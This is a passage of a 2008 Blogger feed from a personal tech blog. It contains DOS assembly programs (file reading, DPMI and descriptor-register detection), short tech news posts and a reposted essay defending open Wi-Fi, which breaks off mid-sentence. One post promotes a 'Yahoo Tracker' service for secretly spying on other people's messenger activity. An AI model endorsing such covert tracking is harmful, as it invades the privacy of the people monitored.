PROCEDURE TO READ FILE&lt;br /&gt;&lt;br /&gt;     LEA DX,MSG10&lt;br /&gt;     MOV AH,09H&lt;br /&gt;     INT 21H&lt;br /&gt;&lt;br /&gt;     mov ah,09h&lt;br /&gt;     lea dx,MSG12&lt;br /&gt;     int 21h&lt;br /&gt;&lt;br /&gt;BACK1: &lt;br /&gt;          MOV AH,3FH&lt;br /&gt;          MOV BX,SEGM&lt;br /&gt;          MOV CX,1&lt;br /&gt;          LEA DX,FBUF&lt;br /&gt;          INT 21H&lt;br /&gt;          JC ERR1&lt;br /&gt;          MOV DL,FBUF&lt;br /&gt;          CMP DL,0&lt;br /&gt;          JE STP&lt;br /&gt;          CMP DL,1AH&lt;br /&gt;          JE STP&lt;br /&gt;          MOV AH,02H&lt;br /&gt;          INT 21H &lt;br /&gt;          JMP BACK1&lt;br /&gt;&lt;br /&gt;     ERR1:LEA DX,MSG7&lt;br /&gt;          MOV AH,09H&lt;br /&gt;          INT 21H    &lt;br /&gt;          STP:RET &lt;br /&gt;READ ENDP&lt;br /&gt;&lt;br /&gt;CLOSE PROC&lt;br /&gt;&lt;br /&gt;         mov ah,3eh&lt;br /&gt;         mov bx,segm&lt;br /&gt;         int 21h&lt;br /&gt;         jc err2&lt;br /&gt;         ret&lt;br /&gt;&lt;br /&gt;    ERR2:LEA DX,MSG8&lt;br /&gt;         MOV AH,09H&lt;br /&gt;         INT 21H&lt;br /&gt;&lt;br /&gt;         ret&lt;br /&gt;CLOSE ENDP&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  end1:mov ah,4ch&lt;br /&gt;       int 21h&lt;br /&gt;  END&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-5827055438710121434?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/5827055438710121434/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=5827055438710121434' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/5827055438710121434'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/5827055438710121434'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2008/11/file-open-create.html' title='file-open create'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-8874024823380318577</id><published>2008-11-05T07:39:00.000-08:00</published><updated>2008-11-05T07:41:46.616-08:00</updated><title type='text'>dpmi</title><content type='html'>.model small&lt;br /&gt;.486p&lt;br /&gt;&lt;br /&gt;disp macro m&lt;br /&gt;        mov ah,09h&lt;br /&gt;        lea dx,m&lt;br /&gt;        int 21h&lt;br /&gt;endm&lt;br /&gt;&lt;br /&gt;.data&lt;br /&gt;        dpmi dw ?,?&lt;br /&gt;        idtr dq ?&lt;br /&gt;        gdtr dq ?&lt;br /&gt;        ldtr dw ?&lt;br /&gt;        msw dw ?&lt;br /&gt;        taskreg dw ?&lt;br /&gt;&lt;br /&gt;        nmem db 10,13, 'Sorry, not enough memory. $'&lt;br /&gt;        nopm db 10,13, 'Sorry, cannot switch to protected mode. $'&lt;br /&gt;        found db 10,13, 'Success. The DOS-Protected Mode Interface detected. $'&lt;br /&gt;        nfound db 10,13, 'Sorry, no DPMI mode detected. $'&lt;br /&gt;        msg db 10,13, 'IDTR contains  $'&lt;br /&gt;        msg2 db 10,13, 'GDTR contains  $'&lt;br /&gt;        msg3 db 10,13, 'LDTR contains  $'&lt;br /&gt;        msg4 db 10,13, 'Machine Status Word (MSW) contains  $'&lt;br /&gt;        msg5 db 10,13, 'Task register contains  $'&lt;br /&gt;        hextab db '0123456789ABCDEF'&lt;br /&gt;&lt;br /&gt;.code&lt;br /&gt;.startup&lt;br /&gt;&lt;br /&gt;        mov bx,ds&lt;br /&gt;        mov ax,es&lt;br /&gt;        sub bx,ax&lt;br /&gt;        mov ax,sp&lt;br /&gt;        shr ax,4&lt;br /&gt;        add bx,ax&lt;br /&gt;        mov ah,4Ah&lt;br /&gt;        int 21h&lt;br /&gt;&lt;br /&gt;        mov ax,1687h&lt;br /&gt;        int 2fh&lt;br /&gt;        or ax,ax&lt;br /&gt;        jz exists&lt;br /&gt;        disp nfound&lt;br /&gt;        jmp exit&lt;br /&gt;&lt;br /&gt;exists :&lt;br /&gt;        disp found&lt;br /&gt;        mov dpmi[0],di&lt;br /&gt;        mov dpmi[2],es&lt;br /&gt;&lt;br /&gt;        or si,si&lt;br /&gt;        jz gopm&lt;br /&gt;        mov bx,si&lt;br /&gt;        mov ah,48h&lt;br /&gt;        int 21h&lt;br /&gt;        jnc gopm&lt;br /&gt;        disp nmem&lt;br /&gt;        jmp exit&lt;br /&gt;&lt;br /&gt;gopm :  mov es,ax&lt;br /&gt;        mov ax,0&lt;br /&gt;        call dword ptr dpmi&lt;br /&gt;        jnc pmode&lt;br /&gt;        disp nopm&lt;br /&gt;        jmp exit&lt;br /&gt;&lt;br /&gt;pmode :&lt;br /&gt;&lt;br /&gt;        sidt idtr&lt;br /&gt;        sgdt gdtr&lt;br /&gt;        sldt ldtr&lt;br /&gt;        smsw msw&lt;br /&gt;        str taskreg&lt;br /&gt;&lt;br /&gt;        disp msg&lt;br /&gt;        mov bx,word ptr [idtr + 2]&lt;br /&gt;        call conv&lt;br /&gt;        mov bx,word ptr [idtr + 4]&lt;br /&gt;        call conv&lt;br /&gt;        mov dl,':'&lt;br /&gt;        mov ah,2&lt;br /&gt;        int 21h &lt;br /&gt;        mov bx,word ptr [idtr + 6]&lt;br /&gt;        call conv&lt;br /&gt;&lt;br /&gt;        disp msg2&lt;br /&gt;        mov bx,word ptr [gdtr + 2]&lt;br /&gt;        call conv&lt;br /&gt;        mov bx,word ptr [gdtr + 4]&lt;br /&gt;        call conv&lt;br /&gt;        mov dl,':'&lt;br /&gt;        mov ah,2&lt;br /&gt;        int 21h &lt;br /&gt;        mov bx,word ptr gdtr&lt;br /&gt;        call conv&lt;br /&gt;&lt;br /&gt;        disp msg3&lt;br /&gt;        mov bx,word ptr[ldtr]&lt;br /&gt;        call conv&lt;br /&gt;&lt;br /&gt;        disp msg4&lt;br /&gt;        mov bx,word ptr[msw]&lt;br /&gt;        call conv&lt;br /&gt;&lt;br /&gt;        disp msg5&lt;br /&gt;        mov bx,word ptr[taskreg]&lt;br /&gt;        call conv&lt;br /&gt;&lt;br /&gt;exit :  mov ah,4Ch&lt;br /&gt;        int 21h&lt;br /&gt;&lt;br /&gt;conv proc near&lt;br /&gt;        &lt;br /&gt;        mov cx,4&lt;br /&gt;&lt;br /&gt;digit : mov di,bx&lt;br /&gt;        and di,000Fh&lt;br /&gt;        mov dl,hextab[di]&lt;br /&gt;        mov ah,02h&lt;br /&gt;        int 21h&lt;br /&gt;        shr bx,4&lt;br /&gt;        loop digit&lt;br /&gt;        ret&lt;br /&gt;&lt;br /&gt;conv endp&lt;br /&gt;end  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;*****************OUTPUT*******************&lt;br /&gt;&lt;br /&gt;C:\TASM&gt;tasm dpmi.asm&lt;br /&gt;Turbo Assembler  Version 2.0  Copyright (c) 1988, 1990 Borland International&lt;br /&gt;&lt;br /&gt;Assembling file:   dpmi.asm&lt;br /&gt;Error messages:    None&lt;br /&gt;Warning messages:  None&lt;br /&gt;Passes:            1&lt;br /&gt;Remaining memory:  472k&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\TASM&gt;tlink dpmi.obj&lt;br /&gt;Turbo Link  Version 3.0 Copyright (c) 1987, 1990 Borland International&lt;br /&gt;Warning: No stack&lt;br /&gt;&lt;br /&gt;C:\TASM&gt;dpmi.exe&lt;br /&gt;&lt;br /&gt;Success. The DOS-Protected Mode Interface detected.&lt;br /&gt;IDTR contains  0958078F:0000&lt;br /&gt;GDTR contains  0918078F:FF30&lt;br /&gt;LDTR contains  8400&lt;br /&gt;Machine Status Word (MSW) contains  B300&lt;br /&gt;Task register contains  8200&lt;br /&gt;C:\TASM&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-8874024823380318577?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/8874024823380318577/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=8874024823380318577' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8874024823380318577'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8874024823380318577'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2008/11/dpmi.html' title='dpmi'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-438607582019739595</id><published>2008-02-22T01:01:00.000-08:00</published><updated>2008-02-22T01:03:19.703-08:00</updated><title type='text'>500 million Firefox downloads: complete; 500 million grains: in progress</title><content type='html'>&lt;p&gt;Firefox just reached&amp;nbsp;&lt;a href="http://www.spreadfirefox.com/500million"&gt;&lt;/a&gt; &lt;a href="http://www.spreadfirefox.com/500million"&gt;500,000,000 downloads&lt;/a&gt;. This is an absolutely phenomenal milestone for Firefox. It is sort of hard to imagine what that number means. For some perspective, that’s roughly the audience size of 10,000 Rome Colosseums combined. It would be the weight, in kilograms, of 8,500 Boeing 747 airplanes. In dollars, for $500 million you and 15 of your friends can fly to the International Space Station.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="http://blog.mozilla.com/files/2008/02/sfx_needs_you_front.jpg" title="sfx_needs_you_front.jpg"&gt;&lt;img src="http://blog.mozilla.com/files/2008/02/sfx_needs_you_front.jpg" alt="sfx_needs_you_front.jpg"&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-438607582019739595?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/438607582019739595/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=438607582019739595' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/438607582019739595'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/438607582019739595'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2008/02/500-million-firefox-downloads-complete.html' title='500 million Firefox downloads: complete; 500 million grains: in progress'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-5280665947184122595</id><published>2008-02-21T22:35:00.000-08:00</published><updated>2008-02-21T22:36:44.518-08:00</updated><title type='text'>windows XP SP3 Release Candidate 2 on Windows Update</title><content type='html'>&lt;p&gt;&lt;img alt="windows_xp_logo" src="http://uploads.tech-buzz.net/WindowsXPSP3ReleaseCandidate2onWindowsUp_4A2/windows_xp_logo.gif" align="right" border="0" height="97" width="166"&gt; Microsoft’s enthusiasm on Vista SP1 almost made us believe that they had forgotten about Windows XP’s long-awaited SP3, but that’s not the case. Yesterday, they gracefully rolled-out Release Candidate 2 of XP’s Service Pack 3 via Windows Update.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;In order to obtain SP3 RC2 through Windows Update, you’ll need a &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=114f3599-12af-42b2-aab1-b969a62c68a7&amp;amp;DisplayLang=en"&gt;specific registry key&lt;/a&gt; (38 KB). Unlike always, you won’t have to hunt down the registry key on torrent sites, instead you can download it directly from &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=114f3599-12af-42b2-aab1-b969a62c68a7&amp;amp;DisplayLang=en"&gt;Microsoft’s website&lt;/a&gt;.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Before attempting to try SP3, you’ll need to have SP2 installed on your machine. Also note that you must uninstall all pre-release versions before updating to RC2.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-5280665947184122595?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/5280665947184122595/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=5280665947184122595' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/5280665947184122595'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/5280665947184122595'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2008/02/windows-xp-sp3-release-candidate-2-on.html' title='windows XP SP3 Release Candidate 2 on Windows Update'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-7947350892442704039</id><published>2008-02-21T22:32:00.001-08:00</published><updated>2008-02-21T22:32:48.990-08:00</updated><title type='text'>CHAT MAKER</title><content type='html'>On the web, Most of our communications are done via emails and instant messages, but for group discussions instant messengers are not always favorable. Not favorable for the reason that it requires all members of the discussion to stick to the same instant messenger. IRC is preferable, but it requires a chat client as well.&lt;br /&gt;&lt;br /&gt;ChatMaker lets you create disposable chat room within no time. Just come up with a nice name for your chat room and press the ‘Go’ button. Now invite others to join your chat room by sending the link to your chat room.&lt;br /&gt;&lt;br /&gt;No forced registration, no client required. You’ll just need a browser and a bunch of people to talk. As of now, ChatMaker is quite primitive, but extensive administrative features are yet to come. Those who are already familiar with IRC commands will love ChatMaker because it can recognize come commands like "/nick" "/me".&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-7947350892442704039?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/7947350892442704039/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=7947350892442704039' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/7947350892442704039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/7947350892442704039'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2008/02/chat-maker.html' title='CHAT MAKER'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-8092826582357930698</id><published>2008-02-21T22:25:00.000-08:00</published><updated>2008-02-21T22:26:32.199-08:00</updated><title type='text'>Google India Launches 5GOOG Text Messaging Service</title><content type='html'>&lt;p&gt;Finally, Google has launched beta version of their text messaging service in India. Mobile users can now use Google to access information on-the-move without using an internet-enabled mobile device.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Mobile users can use the service to check weather, movie show timings, search for businesses and more by sending text messaging their queries to 54664 ("5GOOG"). Supported mobile operators are Airtel, Aircel, BPL, BSNL and Reliance. Google SMS is a premium text messaging service, so it will cost you more than standard text messaging rate. Interactive demo of the service is available &lt;a href="http://www.google.co.in/sms"&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-8092826582357930698?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/8092826582357930698/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=8092826582357930698' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8092826582357930698'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8092826582357930698'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2008/02/google-india-launches-5goog-text.html' title='Google India Launches 5GOOG Text Messaging Service'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-3921947606483144519</id><published>2008-02-21T21:27:00.000-08:00</published><updated>2008-02-21T21:29:24.888-08:00</updated><title type='text'>HOW MICROSOFT KILL GOOGLE</title><content type='html'>When Steve Ballmer yelled at a departing Microsoft employee that he would “kill Google” we had no idea just how direct a method he had in mind. Buying all or part of AOL may be the first part of the master plan, as Google relies heavily on the advertising pages that come from Yahoo!, since it now syndicates its search to Google.&lt;br /&gt;&lt;br /&gt;One estimate suggested that Google would lose as much as $380m of advertising revenue if AOL dropped its search engine and took on MSN's. That would cut Google’s profit by something like 25 per cent, potentially giving its huge share price something of a tumble. No wonder Google is thought to be entering the bidding to partner with Time Warner on AOL instead of Microsoft.&lt;br /&gt;&lt;br /&gt;However, the move by Microsoft could still potentially backfire, although with its cash mountain you would expect it to win the day. Google only chance is to paint a sufficiently rosy future picture to Time Warner’s management about what kind of outcome there would be for an AOL partnering Google, then perhaps a lot more than that $380m could be saved.&lt;br /&gt;&lt;br /&gt;For instance the new physical fiber network that Google is believed to be in the process of putting together, be used to transport more than just voice, advertising and wi-fi traffic. This could also become a conduit for video services, providing another route to market for the remainder of Time Warner’s content? Could the Google Video search capability index all of Time Warner’s precious content and give it another lease of life?&lt;br /&gt;&lt;br /&gt;It’s too late for the Google Talk VoIP service to go out to all the AOL customers because AOL has launched its own complete VoIP package service. The AOL Time Warner merger had some original logic and perhaps a company as imaginative as Google could make that logic work.&lt;br /&gt;&lt;br /&gt;On the other hand Microsoft in June 2003 paid Time Warner $750m, mostly in settlement of legal disputes, from when AOL inherited the complaints of Netscape when it bought that company right in the middle of the Microsoft anti-trust trial. But the deal also gave AOL rights to use certain Microsoft tools and the two said that they would collaborate on long-term digital media initiatives, some of which they are well into.&lt;br /&gt;&lt;br /&gt;That agreement was certainly not a mere settlement of differences but included the Free use of Internet Explorer by AOL for seven years, collaboration on Windows Media player and DRM software and early access to Microsoft technology for AOL.&lt;br /&gt;&lt;br /&gt;And since then the two companies, Time Warner and Microsoft, have become almost inextricably interlinked, working together on standards and buying into companies like ContentGuard together.&lt;br /&gt;&lt;br /&gt;So Microsoft must be ahead on this deal as it comes to the table and has the money to tempt Time Warner.&lt;br /&gt;&lt;br /&gt;The New York Post has been painting the deal as if it was a 50-50 partnership, with Microsoft buying half of AOL with other statements suggesting that the deal is nothing like that adventurous and is just a form of marketing co-operation.&lt;br /&gt;&lt;br /&gt;Yahoo! also has time to throw its hat in the ring, and discussion between it and Time Warner has also been reported. AOL has been losing subscription customers rapidly, which is why it recently switched its business from purely subscription based to increasingly advertising-based.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-3921947606483144519?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/3921947606483144519/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=3921947606483144519' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/3921947606483144519'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/3921947606483144519'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2008/02/how-microsoft-kill-google.html' title='HOW MICROSOFT KILL GOOGLE'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-3975564717166923954</id><published>2008-01-27T05:39:00.000-08:00</published><updated>2008-01-27T05:44:10.203-08:00</updated><title type='text'>YAHOO TRACKER</title><content type='html'>&lt;p&gt;&lt;a href="http://www.yahootracker.com" title="Yahoo Tracker - online offline tracking"&gt;Yahoo Tracker&lt;/a&gt; is a free web based service that tells you about the online offline activity of your Yahoo messenger friends. It is currently tracking more than 50,000 yahoo ids and their database is increasing at a rapid pace as more and more people are getting to know about this cool service. Your yahoo buddies won’t know whether someone is tracking on them, and you can track on even those yahoo ids which are not even in your own messenger’s list.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Your own yahoo id and password are not required to use this service, so don’t worry about your privacy. You remain completely anonymous. The service updates the data every 10 minutes. So, what you just have to do is &lt;a href="http://www.yahootracker.com/register.php" title="register on yahoo tracker"&gt;register on Yahoo Tracker&lt;/a&gt; via cool ajaxied fast interface, believe me it took only 20 seconds for me to register. Then login into your account from the left sidebar, again ajaxified interface. Add yahoo ids you want to track or spy upon. Thats it!!. The rest of the work will be done by Yahoo Tracker itself. It will start updating the data after every 10 minutes from then onwards. Now, just sit and track on the activities of your buddies.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;The registration is absolutely free. So, go and enjoy the service.&lt;/p&gt;&lt;br /&gt; &lt;br /&gt;         &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-3975564717166923954?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/3975564717166923954/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=3975564717166923954' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/3975564717166923954'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/3975564717166923954'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2008/01/yahoo-tracker.html' title='YAHOO TRACKER'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-2017867349988211925</id><published>2008-01-19T07:12:00.000-08:00</published><updated>2008-01-19T07:13:05.152-08:00</updated><title type='text'>Steal This Wi-Fi</title><content type='html'>&lt;p&gt;&lt;br /&gt;Whenever I talk or write about my own security setup, the one thing that surprises people -- and attracts the most criticism -- is the fact that I run an open wireless network at home. There's no password. There's no encryption. Anyone with wireless capability who can see my network can use it to access the internet.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;To me, it's basic politeness. Providing internet access to guests is kind of like providing heat and electricity, or a hot cup of tea. But to some observers, it's both wrong and dangerous.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;I'm told that uninvited strangers may sit in their cars in front of my house, and use my network to send spam, eavesdrop on my passwords, and upload and download everything from pirated movies to child pornography. As a result, I risk all sorts of bad things happening to me, from seeing my IP address blacklisted to having the police crash through my door.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;While this is technically true, I don't think it's much of a risk. I can count five open wireless networks in coffee shops within a mile of my house, and any potential spammer is far more likely to sit in a warm room with a cup of coffee and a scone than in a cold car outside my house. And yes, if someone did commit a crime using my network the police might visit, but what better defense is there than the fact that I have an open wireless network? If I enabled wireless security on my network and someone hacked it, I would have a far harder time proving my innocence.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;This is not to say that the new wireless security protocol, &lt;a href="http://en.wikipedia.org/wiki/Wi-Fi_Protected_Access"&gt;WPA&lt;/a&gt;, isn't very good. It is. But there are going to be security flaws in it; there always are.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;I spoke to several lawyers about this, and in their lawyerly way they outlined several other risks with leaving your network open.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;While none thought you could be successfully prosecuted just because someone else used your network to commit a crime, any investigation could be time-consuming and expensive. You might have your computer equipment seized, and if you have any contraband of your own on your machine, it could be a delicate situation. Also, prosecutors aren't always the most technically savvy bunch, and you might end up being charged despite your innocence. The lawyers I spoke with say most defense attorneys will advise you to reach a plea agreement rather than risk going to trial on child-pornography charges.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;In a less far-fetched scenario, the Recording Industry Association of America is known to sue copyright infringers based on nothing more than an IP address. The accused's chance of winning is higher than in a criminal case, because in civil litigation the burden of proof is lower. And again, lawyers argue that even if you win it's not worth the risk or expense, and that you should settle and pay a few thousand dollars. &lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;I remain unconvinced of this threat, though. The RIAA has conducted about &lt;a href="http://www.sptimes.com/2007/10/02/Business/Minn_woman_takes_on_r.shtml"&gt;26,000 lawsuits&lt;/a&gt;, and there are more than &lt;a href="http://www.npd.com/press/releases/press_0703141.html"&gt;15 million music downloaders&lt;/a&gt;. Mark Mulligan of Jupiter Research &lt;a href="http://www.guardian.co.uk/technology/2007/mar/22/musicnews.newmedia"&gt;said it best&lt;/a&gt;: "If you're a file sharer, you know that the likelihood of you being caught is very similar to that of being hit by an asteroid."&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;I'm also unmoved by those who say I'm putting my own data at risk, because hackers might park in front of my house, log on to my open network and eavesdrop on my internet traffic or break into my computers. This is true, but my computers are much more at risk when I use them on wireless networks in airports, coffee shops and other public places. If I configure my computer to be secure regardless of the network it's on, then it simply doesn't matter. And if my computer isn't secure on a public network, securing my own network isn't going to reduce my risk very much.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Yes, computer security is hard. But if your computers leave your house, you have to solve it anyway. And any solution will apply to your desktop machines as well.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Finally, critics say someone might steal bandwidth from me. Despite isolated &lt;a href="http://www.ibls.com/internet_law_news_portal_view_prn.aspx?s=latestnews&amp;amp;id=1686"&gt;court rulings&lt;/a&gt; that this is &lt;a href="http://arstechnica.com/news.ars/post/20080103-the-ethics-of-stealing-a-wifi-connection.html"&gt;illegal&lt;/a&gt;, my feeling is that they're welcome to it. &lt;a href="http://www.schneier.com/blog/archives/2006/06/schneier_asks_t.html"&gt;I really don't mind&lt;/a&gt; if neighbors use my wireless network when they need it, and I've heard several stories of people who have been rescued from connectivity emergencies by open wireless networks in the neighborhood. &lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Similarly, I appreciate an open network when I am otherwise without bandwidth. If someone were using my network to the point that it affected my own traffic or if some neighbor kid was dinking around, I might want to &lt;a href="http://www.ex-parrot.com/%7Epete/upside-down-ternet.html"&gt;do&lt;br /&gt;something about it&lt;/a&gt;; but as long as we're all polite, why should this&lt;br /&gt;concern me? Pay it forward, I say.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Certainly this does concern ISPs. Running an open wireless network will often violate your terms of service. But despite the &lt;a href="http://w2.eff.org/Infrastructure/Wireless_cellular_radio/wireless_friendly_isp_list.html"&gt;occasional cease-and-desist letter&lt;/a&gt; and providers &lt;a href="http://www.nytimes.com/2007/04/14/technology/14online.html?_r=1&amp;amp;ex=1181188800&amp;amp;en=06978ee1a8aa9cde&amp;amp;ei=5070&amp;amp;oref=slogin"&gt;getting 